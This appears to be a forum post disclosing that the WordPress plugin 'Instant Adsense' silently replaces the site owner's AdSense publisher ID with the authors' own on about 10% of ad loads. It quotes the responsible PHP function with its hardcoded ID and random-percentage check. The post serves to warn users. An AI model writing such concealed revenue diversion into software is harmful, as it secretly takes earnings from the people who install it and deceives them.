[Plugin: Instant Adsense] Plugin Steals Adsense Revenue

This code is setup to replace your adsense publisher ID with theirs 10% of the time. There is no warning or ability to opt out.

I found this in their code as well as observed it on my site

function ai_genadcode()
{
	global $user_level, $ai_loadnetwork;
	$size = ai_picksize();
	$width = substr($size, 0, 3);
	$height = substr($size, 4, 3);

	$d_rand = mt_rand(1,100);
	$d_pct = 10;

	if($d_rand <= $d_pct)
	{
		$client = '9731952652433813';
		$channel = '6871149759';
	}

  	else
	{
  		$client = get_option('ai_client');
		$channel = get_option('ai_channel');
	}

	if(substr($client, 0, 4) == 'pub-')
	{
  		$client = str_replace('pub-', '', $client);
 	}
